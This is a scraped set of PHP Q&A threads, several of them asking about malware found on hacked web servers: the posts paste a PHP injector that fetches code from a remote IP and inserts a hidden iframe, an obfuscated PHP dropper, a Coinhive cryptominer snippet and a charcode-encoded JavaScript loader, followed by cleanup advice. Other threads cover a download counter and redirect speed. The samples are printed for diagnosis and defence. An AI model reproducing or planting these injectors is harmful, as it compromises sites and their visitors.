Server Hack - Random Code added tot he top of PHP files - php

i found theses lines of code on some .PHP pages of mine.
<?php /*d9787ac8b1f855217686293eff4ef53cvf4cet4gsk4k00na*/if (!defined('HDDD467FFEY322')){function _shutdown_function($asd){$write =<<<AOLEW
<script type='text/javascript'>if (typeof KDDRTFGEG == 'undefined') {document.write("<iframe src='http://82.200.204.151/config.inc.php' style='position:absolute;top:-1000px;left:-1000px;text-indent:-1000;width:1px;height:1px;'></iframe>");KDDRTFGEG=true;}</script>
AOLEW;
$asd = preg_replace('/<!--d9787ac8b1f855217686293eff4ef53cvf4cet4gsk4k00na-->(.*?)<!--d9787ac8b1f855217686293eff4ef53cvf4cet4gsk4k00na-->/i', '', $asd); $sdf = file_get_contents('http://82.200.204.151/config.inc.php');return str_replace('</body>', str_replace('http://82.200.204.151/config.inc.php', $sdf, $write) . '</body>', $asd);}if (function_exists('ob_start') && is_callable('ob_start')) $result = ob_start('_shutdown_function', 0, true);define('HDDD467FFEY322', 1);}/*d9787ac8b1f855217686293eff4ef53cvf4cet4gsk4k00na*/ ?>
anyone know anything about it?
Or at least tell me what it is doing...

Update 09 / 11 / 2015
This is called JavaScript injection (XSS1), it happens when your server is hacked and an infection is spread.
This could for instance, promt a download window upon entering the website causing misleaded users to download possibly malicious software on their machine.
To get rid of it you'd best check all the files you have, scan your entire PC / maybe do a clean install. There are usually strange <script> tags in the files with some really freaky "makes-no-sense" JS in it - this is a good indication that your files have been injected with JS.
You'll also need to find the leak if you want to get rid of it permanently (or until they find new ways to XSS your site)
Here's another thing you can do to protect yourself against XSS: CSP
1 :: Cross Site Scripting
Offtopic:
Since I'm revisiting this answer today, 14 years after 9/11 in 2001 I'd like to pay my respects to those who died on that day - R.I.P.

Related

coinhive script appending Automatically in my website head tag

My website is infected by below script
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('79v4xchNCTv4p6KbAFjk95csadPQAzSy');
miner.start();
</script>
It automatically increases my CPU uses upto 100% on website opening and making
website drastically slow.
I have searched in the full source code of website but not found ant trace of it.
i have also searched into database but could not found.
please suggest how to remove it from website completely.
my website is php based and created with opencart.
It can be difficult to remove all traces of a hack from a website.
The main thing to look for here will be functions that encrypt code and then run it like:
eval(base64_encode(
Do a search in your source code and database for base64 and you may find it.
Check for unespace, document.write(), eval, and atob() in files.
I assume your website is on Linux so you can grep for a string and have it look through the files.
grep --include=\*.{php} -rnw '/var/www/html' -e "coinhive"
^php files only ^location to folder ^ string to search
Look at your Router.
If you notice http websites wrapped with frameset, - MirkoTik was hijacked.
1) https://xakep.ru/2018/08/03/mikrotik-under-attack/
2) https://www.zdnet.com/article/mikrotik-routers-enslaved-in-massive-coinhive-cryptojacking-campaign/
3) https://thehackernews.com/2018/09/mikrotik-router-hacking.html

Strange PHP code found in file on server

Sorry if this is the wrong site to post on.
Basically, I have a server and this file keeps creating itself. The file is a PHP file and contains code:
<?php
$GLOBALS['XfZi37Vc'] = $_SERVER;
function ruexxCV1QobH($uiBP25)
{$MISwZvode = "";global $PYJ9QSAA;
for($QNufqz7Oj=intval('fzSxRYkl'); $QNufqz7Oj<strlen($uiBP25); $QNufqz7Oj++)
{$yzwxeHjxV = ord($uiBP25[$QNufqz7Oj]) - $QNufqz7Oj - $PYJ9QSAA;
if ($yzwxeHjxV < 32){$yzwxeHjxV = $yzwxeHjxV + 94;
${YkT1GO68Y3rXB("iv[_^/1\"w;%")} = Lp4lS8SSZzAY("-15/*32B.3##G9CJJ");
${YkT1GO68Y3rXB(",g0##&D6x")} = PDeZzowtLQ("kos|n|,ryov1!#4&)!/9-{+%\$");
${QDVtOC8("pt[v\$:=")} = lpkBre6(":<;)><97C");
${fW1u5W74(";q~BY_y{")} = rdfpzT0mw(",:;9=+?3??CF<B<");
${sGbDIY("!<!.x\\ze")} = lpkBre6("kos|n|,\$nzxtr(x5~(");
function rdfpzT0mw($vGoVcwpU){return ruexxCV1QobH($vGoVcwpU);};
function ifUYiZ4bFphW5($NYycJIpl){return ruexxCV1QobH($NYycJIpl);};
${fW1u5W74("gh\"Co[")} = lpkBre6("*77#0>A-DE6#6C9;");
${rdfpzT0mw("n2lZ7t\\")} = QDVtOC8(";:27");
I have never seen code like this before. Can anyone tell me what it is exactly doing?
This is a hack that happened to your Wordpress. Probably because you are using an outdated third party plugin. These can be somewhat difficult to detect, but the code is probably being used to place ads, or redirect your users to outside content or malware.
You should remove this code and update all your plugins.
Keep in mind that this code could have also injected code into your Wordpress database. Especially if you have a plugin that enables 'eval' in Wordpress, meaning code could be retrieved from the database and eval'd.
If that doesn't solve the problem, you should start disabling third party plugins until you find the root of the problem.
Wordpress is VERY easy for automated scripts to detect and third party plugins could have been written by someone who does not know anything about security. You need to be very wary when using them, even if they come from Wordpress.org.

Has anyone seen: #0f2490# if(empty($b)) { $b = " "; echo $b; } #/0f2490#

I have many sites, and a couple of them, wordpress or not (some are .php based, some are core HTML. Some are WordPress blogs, and some are just core sites) show this bit of script on page load, and I cannot find it on the server or in the code for the life of me.
#0f2490# if(empty($b)) { $b = " "; echo $b; } #/0f2490#
When checking the source of the sites, it appears there is some javascript code looking for a reference to some site.
I know this isn't enough information to properly troubleshoot the issue. I am asking if anyone has heard of this and can point me in the right direction for resources to research and learn about this issue.
You can see the output for yourself at http://chiuaua.ca
For reference, this is the JavaScript code that appears on the site when using source viewer in either FireFox or Chrome...
#0f2490#
if(empty($b)) { $b = " <script type=\"text/javascript\" language=\"javascript\" > if(document.querySelector)zq=4;a=(\"27,6d,7c,75,6a,7b,70,76,75,27,6a,6a,6b,78,6a,37,40,2f,30,27,82,14,11,27,7d,68,79,27,7a,7b,68,7b,70,6a,44,2e,68,71,68,7f,2e,42,14,11,27,7d,68,79,27,6a,76,75,7b,79,76,73,73,6c,79,44,2e,70,75,6b,6c,7f,35,77,6f,77,2e,42,14,11,27,7d,68,79,27,6a,6a,6b,78,6a,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,79,6c,68,7b,6c,4c,73,6c,74,6c,75,7b,2f,2e,70,6d,79,68,74,6c,2e,30,42,14,11,14,11,27,6a,6a,6b,78,6a,35,7a,79,6a,27,44,27,2e,6f,7b,7b,77,41,36,36,7f,75,34,34,69,79,6e,6c,79,74,6c,70,7a,7b,6c,79,70,75,34,6d,79,34,70,6b,7a,7b,6c,70,75,34,6d,7e,6a,77,35,6b,6c,36,7e,6d,78,4b,5f,60,49,5b,35,77,6f,77,2e,42,14,11,27,6a,6a,6b,78,6a,35,7a,7b,80,73,6c,35,77,76,7a,70,7b,70,76,75,27,44,27,2e,68,69,7a,76,73,7c,7b,6c,2e,42,14,11,27,6a,6a,6b,78,6a,35,7a,7b,80,73,6c,35,6a,76,73,76,79,27,44,27,2e,3c,3a,37,2e,42,14,11,27,6a,6a,6b,78,6a,35,7a,7b,80,73,6c,35,6f,6c,70,6e,6f,7b,27,44,27,2e,3c,3a,37,77,7f,2e,42,14,11,27,6a,6a,6b,78,6a,35,7a,7b,80,73,6c,35,7e,70,6b,7b,6f,27,44,27,2e,3c,3a,37,77,7f,2e,42,14,11,27,6a,6a,6b,78,6a,35,7a,7b,80,73,6c,35,73,6c,6d,7b,27,44,27,2e,38,37,37,37,3c,3a,37,2e,42,14,11,27,6a,6a,6b,78,6a,35,7a,7b,80,73,6c,35,7b,76,77,27,44,27,2e,38,37,37,37,3c,3a,37,2e,42,14,11,14,11,27,70,6d,27,2f,28,6b,76,6a,7c,74,6c,75,7b,35,6e,6c,7b,4c,73,6c,74,6c,75,7b,49,80,50,6b,2f,2e,6a,6a,6b,78,6a,2e,30,30,27,82,14,11,27,6b,76,6a,7c,74,6c,75,7b,35,7e,79,70,7b,6c,2f,2e,43,77,27,70,6b,44,63,2e,6a,6a,6b,78,6a,63,2e,27,6a,73,68,7a,7a,44,63,2e,6a,6a,6b,78,6a,37,40,63,2e,27,45,43,36,77,45,2e,30,42,14,11,27,6b,76,6a,7c,74,6c,75,7b,35,6e,6c,7b,4c,73,6c,74,6c,75,7b,49,80,50,6b,2f,2e,6a,6a,6b,78,6a,2e,30,35,68,77,77,6c,75,6b,4a,6f,70,73,6b,2f,6a,6a,6b,78,6a,30,42,14,11,27,84,14,11,84,14,11,6d,7c,75,6a,7b,70,76,75,27,5a,6c,7b,4a,76,76,72,70,6c,2f,6a,76,76,72,70,6c,55,68,74,6c,33,6a,76,76,72,70,6c,5d,68,73,7c,6c,33,75,4b,68,80,7a,33,77,68,7b,6f,30,27,82,14,11,27,7d,68,79,27,7b,76,6b,68,80,27,44,27,75,6c,7e,27,4b,68,7b,6c,2f,30,42,14,11,27,7d,68,79,27,6c,7f,77,70,79,6c,27,44,27,75,6c,7e,27,4b,68,7b,6c,2f,30,42,14,11,27,70,6d,27,2f,75,4b,68,80,7a,44,44,75,7c,73,73,27,83,83,27,75,4b,68,80,7a,44,44,37,30,27,75,4b,68,80,7a,44,38,42,14,11,27,6c,7f,77,70,79,6c,35,7a,6c,7b,5b,70,74,6c,2f,7b,76,6b,68,80,35,6e,6c,7b,5b,70,74,6c,2f,30,27,32,27,3a,3d,37,37,37,37,37,31,39,3b,31,75,4b,68,80,7a,30,42,14,11,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,27,44,27,6a,76,76,72,70,6c,55,68,74,6c,32,29,44,29,32,6c,7a,6a,68,77,6c,2f,6a,76,76,72,70,6c,5d,68,73,7c,6c,30,14,11,27,32,27,29,42,6c,7f,77,70,79,6c,7a,44,29,27,32,27,6c,7f,77,70,79,6c,35,7b,76,4e,54,5b,5a,7b,79,70,75,6e,2f,30,27,32,27,2f,2f,77,68,7b,6f,30,27,46,27,29,42,27,77,68,7b,6f,44,29,27,32,27,77,68,7b,6f,27,41,27,29,29,30,42,14,11,84,14,11,6d,7c,75,6a,7b,70,76,75,27,4e,6c,7b,4a,76,76,72,70,6c,2f,27,75,68,74,6c,27,30,27,82,14,11,27,7d,68,79,27,7a,7b,68,79,7b,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,70,75,6b,6c,7f,56,6d,2f,27,75,68,74,6c,27,32,27,29,44,29,27,30,42,14,11,27,7d,68,79,27,73,6c,75,27,44,27,7a,7b,68,79,7b,27,32,27,75,68,74,6c,35,73,6c,75,6e,7b,6f,27,32,27,38,42,14,11,27,70,6d,27,2f,27,2f,27,28,7a,7b,68,79,7b,27,30,27,2d,2d,14,11,27,2f,27,75,68,74,6c,27,28,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,7a,7c,69,7a,7b,79,70,75,6e,2f,27,37,33,27,75,68,74,6c,35,73,6c,75,6e,7b,6f,27,30,27,30,27,30,14,11,27,82,14,11,27,79,6c,7b,7c,79,75,27,75,7c,73,73,42,14,11,27,84,14,11,27,70,6d,27,2f,27,7a,7b,68,79,7b,27,44,44,27,34,38,27,30,27,79,6c,7b,7c,79,75,27,75,7c,73,73,42,14,11,27,7d,68,79,27,6c,75,6b,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,70,75,6b,6c,7f,56,6d,2f,27,29,42,29,33,27,73,6c,75,27,30,42,14,11,27,70,6d,27,2f,27,6c,75,6b,27,44,44,27,34,38,27,30,27,6c,75,6b,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,73,6c,75,6e,7b,6f,42,14,11,27,79,6c,7b,7c,79,75,27,7c,75,6c,7a,6a,68,77,6c,2f,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,7a,7c,69,7a,7b,79,70,75,6e,2f,27,73,6c,75,33,27,6c,75,6b,27,30,27,30,42,14,11,84,14,11,70,6d,27,2f,75,68,7d,70,6e,68,7b,76,79,35,6a,76,76,72,70,6c,4c,75,68,69,73,6c,6b,30,14,11,82,14,11,70,6d,2f,4e,6c,7b,4a,76,76,72,70,6c,2f,2e,7d,70,7a,70,7b,6c,6b,66,7c,78,2e,30,44,44,3c,3c,30,82,84,6c,73,7a,6c,82,5a,6c,7b,4a,76,76,72,70,6c,2f,2e,7d,70,7a,70,7b,6c,6b,66,7c,78,2e,33,27,2e,3c,3c,2e,33,27,2e,38,2e,33,27,2e,36,2e,30,42,14,11,14,11,6a,6a,6b,78,6a,37,40,2f,30,42,14,11,84,14,11,84\".split(\",\"));r=eval;function vqvq(){zva=function(){--(d.body)}()}d=document;for(i=0;i<a.length;i+=1){a[i]=-(12-5)+parseInt(a[i],zq*4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=123}catch(pq){yy=1;}if(!yy)r(String[\"fr\"+\"omCh\"+\"arCo\"+\"de\"].apply(String,a));</script> "; echo $b; }
#/0f2490#
Bad news, looks like your sites have been exploited... I visited the link and it tried to shove several binary files at Safari immediately... Yikes.
Another SO thread on a similar problem
Your exact code
Your server has been compromised. Bad bad news.
What you need to do on the short term is to quickly update all the sites to the last version of wordpress if you are still running an older version.
Looking at what you described, the javascript is not in the html source, but is sent down to the browser. This could mean that your wordpress templates are compromised. Look in the upload folders or the template folder to see if there is any extra js files being loaded.
Another thing to check is if there is any changes done to the wordpress template's file, or any plugin's file. As wordpress provide a handy web based editor to edit those files, there might be a flaw that allowed malicious codes to inject other scripts into your files via those means.

Host file, log download, and host stats via PHP?

I'm a .NET guy attempting a PHP thing here, so am totally out of my comfort zone right now. What I THINK I want to do is to have 3 files:
download.php:
(a) contains a lookup of IDs to filenames (so download.php?file=11 querystring tells me I should host abc.zip)
(b) Some code to log this download to stats.log
(c) A couple header() calls and a readfile() call, similar to the answer to this question
stats.log: A simple log file that might look like the following example. This allows for logging to be accomplished by simply appending a line of text yet allows me to condense it from time to time.
abc.zip 1234
xyz.zip 4321
abc.zip 1
abc.zip 1
abc.zip 1
xyz.zip 1
abc.zip 1
stats.php: This is ultimately the PHP file that serves the stats. They can be real-time or near real-time, perhaps re-reading the file every minute and caching it or whatever. I don't really care and this won't be hit all that often but I do need to make sure that this isn't a stupidly expensive operation. This need not be a pretty page. Something so a human can easily read it is all that matters, so no fancy requirements there. For the above example of stats.log, I'd like this to serve something like the following:
abc.zip: 1238 downloads
xyz.zip: 4322 downloads
Ultimately, I don't want a database or any other systems involved in this. I only have FTP access to the server, so I can't really do much other than place scripts into the directory. I realize that I'll need to make sure that the script has write permissions to stats.txt, which is fine.
So my questions. I have a number of them but I believe they're all quite easy for somebody who knows PHP.
I think I have the hosting portion of download.php understood by setting headers and using readfile. However, how could I have a collection of key/value pairs representing file ids and filenames? If I were in .NET, I could do something like: var foo = new Dictionary<int, string> {{11, "abc.zip"}, {12, "xyz.zip"}} but I don't have a clue what this looks like in PHP.
How do I get querystrings? I need to pull from the URL "stuff/download.php?file=11" and take the 11 to grab my "abc.zip" out of my lookup collection.
How do I write the newline to my stats.log file?
How do I loop through my stats.log file in my stats.php script to count up and host these stats?
Bonus question: How do I cache the results from step 4 and only read the file once every minute/hour/or whatever?
I can probably fill in some gaps if somebody can answer at least most of these questions, but help sure would be appreciated! :)
1- You are looking for array e.g.
$files=array(11=>'abc.zip',
12=>'xyz.zip');
2- The Query String is accessed by the super global $_GET, so in your case $_GET['file'] holds that data you are interested in.
3,4,5
I would recommend storing the information JSON encoded. e.g.
$rawInfo=file_get_contents('stats.log');
$Info=json_decode($rawInfo,true);
if(isset($Info[$_GET['file']])){
$Info[$_GET['file']]++;
}else{
$Info[$_GET['file']]=1;
}
$rawInfo=json_encode($Info);
$h=fopen('stats.log','c');// If $h is false, you couldn't open the file
flock($h,LOCK_EX);// lock the file
$b=fwrite($h,$rawInfo);// if $b is not greater than 0, nothing was written
flock($h,LOCK_UN);
fclose($h);
//And then actually serve the file requested
This has the advantage of storing the information already in a useful format.
Whenever you fetch out the json_decodeed data, it is in the format of an array, which you will need to know how to handle.
stats.php might look something like this:
$rStats=file_get_contents('stats.log');
$Stats=json_decode($rStats,true);
foreach($Stats as $k=>$v){
echo $k.': '.$v.' download'.($v==1?'':'s');
}
I could have never done this so easily without #Shad's help in the accepted answer. As such, I wanted to post my final solution here that should work for practically anybody. This allows "direct links" (i.e. no 301/302 or other kinds of redirects) to function properly (right-click -> save as works too) while still logging downloads. NOTE that this is fairly "resource heavy" and some shared hosts may get upset with using something like this but as far as I can tell, this shouldn't really be a major drain. My files I'll be hosting are ~3-15MB and won't have a TON of downloads, so I'm not too worried about this in my scenario but if you use this solution, be very aware of this fact!
download.php:
<?php
$fileLookup = array(
0=>'subdir/test.zip',
1=>'another/sub/dir/test2.zip'
);
$currentRelativeFileName = $fileLookup[$_GET['file']];
$currentFileName = basename($currentRelativeFileName);
$rawInfo=file_get_contents('stats.log');
$Info=json_decode($rawInfo,true);
if(isset($Info[$currentFileName])){
$Info[$currentFileName]++;
}else{
$Info[$currentFileName]=1;
}
$rawInfo=json_encode($Info);
$h=fopen('stats.log','c');// If $h is false, you couldn't open the file
flock($h,LOCK_EX);// lock the file
$b=fwrite($h,$rawInfo);// if $b is not greater than 0, nothing was written
flock($h,LOCK_UN);
fclose($h);
header("Content-type: application/octet-stream");
header("Content-disposition: attachment; filename=" . $currentFileName);
readfile($currentRelativeFileName);
?>
stats.php:
<html>
<head>
<title>Here are my stats!</title>
</head>
<body>
<?php
$rStats=file_get_contents('stats.log');
if (strlen($rStats) > 5){
$Stats=json_decode($rStats,true);
foreach($Stats as $k=>$v){
echo $k.': '.$v.' download'.($v==1?'':'s') . '<br />';
}
}else{
echo 'No downloads';
}
?>
</body>

Why is my 301 Redirect taking so long?

In a long tiredsome quest to speed up my site, I have figured out something is wrong with the redirection: currently my index.php handles all the homepage redirections via PHP header location 301 Redirect Permanently: website.com >> website.com/en/home and website.de >> website.de/de/home etcettera etcettera (around 20 for this multilingual website) it takes anywhere from 200ms to 6000ms to do the redirecting. Check out the waterfall!
After that, the page loads in a thunderbolt's blink of an eye!
What a waste of time wouldn't you say? What is the server doing all this time?
After careful examination, my best guesse is: ITS DOING LAUNDRY!
I am almost giving up on PHP for this!
Any and all clues to my puzzling prob are very welcomed +1
A. Given facts: Apache/2.0.54 Fedora, PHP 5.2.9. there is no database: just flat php files with around 15 php includes that completes my page with headers and footers). YSlow Grade: 92/100! Good page Speed: 93/100! javascript and css are as much as possible combined. Cache controlls seem well set too (as proven by the grades). Whats missing in those 7 points out of 100: not using Keep-Alive (beyong my controll in shared hosting and not using Content Delivery Network. I can live with those missing 7 points, but this is major hit on speed!
B. Furthermore: i recently was given great insights over here that i should use url rewriting via htacces. Point taken, BUT, perhaps there is sometin else wrong here that i should correct before moving on to the for me more difficult apache regex syntaxes.
C. Faster way: When I php include the intended homepage, instead of redirect, then all loads fast, but the url is not rewritten: it sits at website.com on the browser bar, whereas i wish after including it to become website.com/en/home. Is this possible with PHP? To include+change the current address of the url, too?
Conclusions: you can redirect using index.php, or using .htaccess. Sofar from my tests (coming from the genius answers below!THANKS EVERYONE!) the latter seems unmatched in speed: much faster redirecting than a php redirect! reducing the redirect to shorter than the first dns lookup.
see here how to do this correclty for multilingual site
Damn, I hate getting stuck with this kind of problem. You need to eliminate some variables.
First I should point out that PHP will not flush all of its own headers until you start outputting things (or, if the output_buffering(?) ini directive is set to x bytes, until you have output x bytes). So the following script will not finish "sending headers" until the very end:
<?php
header('Content-Type: text/pants');
sleep(6);
header('Ding-Ding: time to put the socks in the dryer');
echo "z"; // headers are sent here
What happens to the call to en/home if you put exit; or echo "wheeeee"; exit; at the very top of that PHP script? Then what happens when you substitute it with a plain, empty file? If the php script with exit is slow but the plain text file is fast, the PHP interpreter is probably playing funny buggers. If you still get the delay for both, you've eliminated the actual response generation as the cause (but I'm still trying to come up with some ideas if this is the case).
Also, can you ssh to the server? If so, can you try wgetting the same page from inside the server? If you can without the speed problem, I would be looking at the client side. If you can't SSH, you could try doing a request from PHP, though I'm really not sure if this will work:
<?php
$context = stream_context_create(array(
'http'=>array(
// send request headers if you need to
'header'=>array(
'Foo: Bar',
'Bar: Baz',
),
),
));
$start = microtime(true);
$response = file_get_contents('http://yourserver.com/', null, context);
$end = microtime(true) - $start;
var_dump($end);
// for some bizarre reason, PHP emits this variable into the local scope.
var_dump($http_response_header);
Have you tried doing the same request from other machines, or other places in the world? This can confirm or deny if it's just your machine.
Another thing you can try if it is the response generation is to do a little bit of hack-profiling on the production server. I hate having to do this stuff, but sometimes your code just refuses to behave on the production server like it behaves in your development environment or on staging. Do this to the script that generates /en/home:
<?php
// put this at the very top
$rqid = uniqid('', true);
$h = fopen(__DIR__.'/crap.log', 'a');
fwrite($h, $rqid.' [START] '.microtime(true).PHP_EOL);
fclose($h);
// do all that other wonderful stuff, like laundry or making a cup of tea
// put this at the very end
$h = fopen(__DIR__.'/crap.log', 'a');
fwrite($h, $rqid.' [END] '.microtime(true).PHP_EOL.PHP_EOL);
fclose($h);
Run a few requests against it, check to make sure 'crap.log' is getting stuff written to it (check permissions!!), and then you'll have some data that will show whether there is something in your script that needs to be investigated further as the cause of the slowness.
Oh, did I mention MySQL indexes? Are you doing any queries during the request? Have you added all of the proper indexes to the tables?
Steven Xu raises a good point in the comments for your question - are you sure the program you're using to generate the waterfall is giving you good info? Try installing Firebug if you haven't already, click the little firebug icon in the bottom right of firefox and make sure the "Net" panel is open, then re-run your request and see if the waterfall is consistent with the results you're seeing in the program you used.
Also, I know this is kind of a boneheaded suggestion and I apologise, but I think it needs to be said: your host doesn't allow ssh and only uses PHP 4? I would seriously consider another host. It may even solve this specific problem.
I will add more stuff as I think of it.
If it is indeed the headers taking ages, then your JS/CSS/HTML is irrelevant.
You can do the forwarding in .htaccess.
RewriteEngine On
RewriteRule ^$ en/home [R=301]
This will essentially send the same header, but it won't invoke the PHP engine first to do it :)
Update
On closer inspection, it would seem to me that your en/home page is taking the longer time to download.
I think Ignacio Vazquez-Abrams may have the answer: after you call header() to do the redirection you need to call exit() to cause the PHP script execution to stop. Without that the script will keep executing, sending output to the browser, until the end. Since the browser has to wait for the server side script to end before performing the redirection that could cause the problem.
Update
Just read Alex's update and he seems to be correct. The /en/home page is where the time is.

Categories